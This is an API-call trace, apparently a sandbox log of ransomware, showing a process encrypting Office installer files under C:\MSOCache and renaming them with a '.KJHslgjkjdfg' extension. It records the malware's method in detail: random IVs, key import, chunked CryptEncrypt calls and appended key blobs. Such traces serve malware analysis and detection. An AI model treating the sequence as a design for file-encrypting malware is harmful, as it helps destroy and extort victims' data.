[0135.974] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0135.974] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62a0 [0135.978] GetProcessHeap () returned 0x2a0000 [0135.978] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0135.978] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0135.978] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0135.978] GetProcessHeap () returned 0x2a0000 [0135.978] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2c7ab8 [0135.978] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.979] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=2511872) returned 1 [0135.979] GetProcessHeap () returned 0x2a0000 [0135.979] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.979] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.979] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.979] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0135.979] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.979] GetProcessHeap () returned 0x2a0000 [0135.979] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0135.979] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0135.979] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.979] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0135.991] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0135.991] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0135.991] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0135.991] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0135.991] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0135.991] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0135.991] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.991] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.991] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0136.000] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0136.005] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.005] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0136.006] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2654d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.007] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0136.007] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0136.007] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0136.021] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0136.025] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.025] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0136.027] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2654d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.027] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0136.027] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0136.027] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0136.052] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0136.055] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.055] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0136.056] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2654d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.056] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0136.056] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.057] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2654d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.057] SetEndOfFile (hFile=0x124) returned 1 [0136.061] GetProcessHeap () returned 0x2a0000 [0136.061] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0136.061] GetProcessHeap () returned 0x2a0000 [0136.061] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0136.061] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.kjhslgjkjdfg")) returned 1 [0136.135] CloseHandle (hObject=0x124) returned 1 [0136.135] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1 [0136.136] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0136.137] GetProcessHeap () returned 0x2a0000 [0136.137] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0136.140] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0136.140] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0136.140] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0136.143] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.143] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.143] GetProcessHeap () returned 0x2a0000 [0136.143] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0136.143] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0136.143] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.143] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0136.143] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0136.144] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0136.144] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0136.144] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0136.144] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0136.144] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.144] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.144] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.144] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x5ac, lpOverlapped=0x0) returned 1 [0136.144] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x5b0) returned 1 [0136.144] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.144] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x5b0, lpOverlapped=0x0) returned 1 [0136.145] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.145] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.145] SetEndOfFile (hFile=0x124) returned 1 [0136.147] GetProcessHeap () returned 0x2a0000 [0136.147] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0136.147] GetProcessHeap () returned 0x2a0000 [0136.147] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0136.147] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.kjhslgjkjdfg")) returned 1 [0136.157] CloseHandle (hObject=0x124) returned 1 [0136.157] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0136.157] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0136.158] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=8265165) returned 1 [0136.158] GetProcessHeap () returned 0x2a0000 [0136.158] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0136.158] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0136.158] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.158] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f4*=0x3, lpOverlapped=0x0) returned 1 [0136.161] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0136.161] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.161] GetProcessHeap () returned 0x2a0000 [0136.161] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0136.161] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4d8*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4d8*=0x30) returned 1 [0136.161] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.161] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f4*=0x30, lpOverlapped=0x0) returned 1 [0136.161] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0136.161] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0136.162] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0136.162] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0136.162] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0136.162] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0136.162] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.162] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0136.162] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0136.172] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0136.177] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.177] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0136.178] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7e1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.178] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0136.178] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0136.178] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0136.187] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0136.190] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.190] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0136.191] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7e1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.191] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0136.191] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7a1dd0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0136.191] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0136.216] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0136.219] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7a1dd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.219] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0136.221] SetFilePointerEx (in: hFile=0x124, 